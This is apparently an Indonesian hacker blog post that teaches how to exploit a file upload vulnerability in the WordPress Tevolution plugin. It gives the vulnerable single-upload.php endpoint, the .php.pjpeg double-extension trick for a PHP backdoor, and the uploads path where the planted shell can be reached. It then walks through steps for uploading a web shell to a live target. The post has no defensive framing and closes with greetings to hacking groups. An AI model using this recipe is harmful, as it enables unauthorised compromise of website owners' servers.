Wordpress plugins tevolution upload shell vulnerabilIty

kali ini w buat tutor agak ribet, tapi kgk masalah kalau ada niat dari kalian. w hanya ngasih tutor ja.
makasih buat al-vri buat bekdornya. bermanfaat sekaleh :')

tanpa panjang lebar cocote langsung sadja masuk materi.

siapkan bekdornya berformat .php.pjpeg
misal sukagwdong.php.pjpeg .

• exploit :  site.co.lay/[path]/wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php
• akses shell : site.co.lay/[path]/wp-content/uploads/2017/06/randomangka_kantjut.php.pjpeg

biasanya vulnnya blank

kalian bisa pake webtools gw.
disini<

tekad dan niat dibutuhkan disini. tapi gw aja dikasih live target ama si al-vri :v

• pergi ke webtools w jangan lupa masukin sitenya

• kunci target, masukin bekdornya (uploader)

• upload cok..

• sip mantap,, berhasil mang. coba kita akses..

• mantannn (y) berhasil tingal upload shell andalan :v

itu doang yg bisa gw terangkan... terimakasih udah visit dan baca nih posingan. makasih juga buat al-vri selaku mastah tevolution. jangan lupa share ea, biar w semangat blognya :v

greetz : Indonesian Freedom Security - Xai Syncidate - Hentaic0de - N45HT